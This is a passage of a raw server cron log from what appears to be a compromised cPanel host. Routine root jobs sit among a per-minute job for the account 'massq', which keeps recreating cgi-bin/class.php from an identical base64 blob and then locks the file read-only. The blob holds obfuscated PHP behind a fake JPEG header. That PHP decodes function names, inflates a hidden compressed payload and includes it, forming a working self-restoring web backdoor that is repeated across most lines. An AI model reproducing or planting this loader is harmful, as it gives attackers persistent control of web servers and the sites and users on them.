JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:42:01 server CROND[24700]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 17:43:01 server CROND[24751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:44:01 server CROND[24809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:45:01 server CROND[24873]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:45:01 server CROND[24874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:45:01 server CROND[24875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:46:01 server CROND[25007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:47:01 server CROND[25051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:48:01 server CROND[25100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:49:01 server CROND[25258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:50:01 server CROND[25321]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 17:50:01 server CROND[25323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:50:01 server CROND[25324]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:50:01 server CROND[25322]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 17:50:01 server CROND[25326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:51:01 server CROND[25440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:52:01 server CROND[25487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:53:01 server CROND[25558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:54:01 server CROND[25607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:55:01 server CROND[25769]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:55:01 server CROND[25770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:55:01 server CROND[25771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:56:01 server CROND[25932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 